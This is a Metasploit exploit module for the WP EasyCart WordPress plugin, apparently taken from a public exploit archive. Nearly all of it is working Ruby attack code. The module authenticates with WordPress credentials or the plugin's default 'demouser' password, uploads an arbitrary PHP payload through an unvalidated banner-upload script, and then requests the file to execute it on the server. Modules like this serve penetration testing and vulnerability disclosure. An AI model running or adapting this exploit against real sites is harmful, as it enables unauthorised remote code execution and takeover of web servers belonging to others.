WordPress Plugin WP EasyCart – Unrestricted Arbitrary File Upload (Metasploit)
## # This module requires Metasploit: http://www.metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FileDropper include Msf::HTTP::Wordpress def initialize(info = {}) super(update_info( info, 'Name' => 'WordPress WP EasyCart Unrestricted File Upload', 'Description' => %q{WordPress Shopping Cart (WP EasyCart) Plugin for WordPress contains a flaw that allows a remote attacker to execute arbitrary PHP code. This flaw exists because the /inc/amfphp/administration/banneruploaderscript.php script does not properly verify or sanitize user-uploaded files. By uploading a .php file, the remote system will place the file in a user-accessible path. Making a direct request to the uploaded file will allow the attacker to execute the script with the privileges of the web server. In versions <= 3.0.8 authentication can be done by using the WordPress credentials of a user with any role. In later versions, a valid EasyCart admin password will be required that is in use by any admin user. A default installation of EasyCart will setup a user called "demouser" with a preset password of "demouser".}, 'License' => MSF_LICENSE, 'Author' => [ 'Kacper Szurek', # Vulnerability disclosure 'Rob Carr <rob[at]rastating.com>' # Metasploit module ], 'References' => [ ['OSVDB', '116806'], ['WPVDB', '7745'] ], 'DisclosureDate' => 'Jan 08 2015', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['wp-easycart', {}]], 'DefaultTarget' => 0 )) register_options( [ OptString.new('USERNAME', [false, 'The WordPress username to authenticate with (versions <= 3.0.8)']), OptString.new('PASSWORD', [false, 'The WordPress password to authenticate with (versions <= 3.0.8)']), OptString.new('EC_PASSWORD', [false, 'The EasyCart password to authenticate with (versions <= 3.0.18)', 'demouser']), OptBool.new('EC_PASSWORD_IS_HASH', [false, 'Indicates whether or not EC_PASSWORD is an MD5 hash', false]) ], self.class) end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def ec_password datastore['EC_PASSWORD'] end def ec_password_is_hash datastore['EC_PASSWORD_IS_HASH'] end def use_wordpress_authentication username.to_s != '' && password.to_s != '' end def use_ec_authentication ec_password.to_s != '' end def req_id if ec_password_is_hash return ec_password else return Rex::Text.md5(ec_password) end end def generate_mime_message(payload, date_hash, name, include_req_id) data = Rex::MIME::Message.new data.add_part(date_hash, nil, nil, 'form-data; name="datemd5"') data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"Filedata\"; filename=\"#{name}\"") data.add_part(req_id, nil, nil, 'form-data; name="reqID"') if include_req_id data end def setup if !use_wordpress_authentication && !use_ec_authentication fail_with(Failure::BadConfig, 'You must set either the USERNAME and PASSWORD options or specify an EC_PASSWORD value') end super end def exploit vprint_status("#{peer} - WordPress authentication attack is enabled") if use_wordpress_authentication vprint_status("#{peer} - EC authentication attack is enabled") if use_ec_authentication if use_wordpress_authentication && use_ec_authentication print_status("#{peer} - Both EasyCart and WordPress credentials were supplied, attempting WordPress first...") end if use_wordpress_authentication print_status("#{peer} - Authenticating using #{username}:#{password}...") cookie = wordpress_login(username, password) if !cookie if use_ec_authentication print_warning("#{peer} - Failed to authenticate with WordPress, attempting upload with EC password next...") else fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') end else print_good("#{peer} - Authenticated with WordPress") end end print_status("#{peer} - Preparing payload...") payload_name = Rex::Text.rand_text_alpha(10) date_hash = Rex::Text.md5(Time.now.to_s) uploaded_filename = "#{payload_name}_#{date_hash}.php" plugin_url = normalize_uri(wordpress_url_plugins, 'wp-easycart') uploader_url = normalize_uri(plugin_url, 'inc', 'amfphp', 'administration', 'banneruploaderscript.php') payload_url = normalize_uri(plugin_url, 'products', 'banners', uploaded_filename) data = generate_mime_message(payload, date_hash, "#{payload_name}.php", use_ec_authentication) print_status("#{peer} - Uploading payload to #{payload_url}") res = send_request_cgi( 'method' => 'POST', 'uri' => uploader_url, 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s, 'cookie' => cookie ) fail_with(Failure::Unreachable, 'No response from the target') if res.nil? vprint_error("#{peer} - Server responded with status code #{res.code}") if res.code != 200 print_status("#{peer} - Executing the payload...") register_files_for_cleanup(uploaded_filename) res = send_request_cgi( { 'uri' => payload_url, 'method' => 'GET' }, 5) if !res.nil? && res.code == 404 print_error("#{peer} - Failed to upload the payload") else print_good("#{peer} - Executed payload") end end end |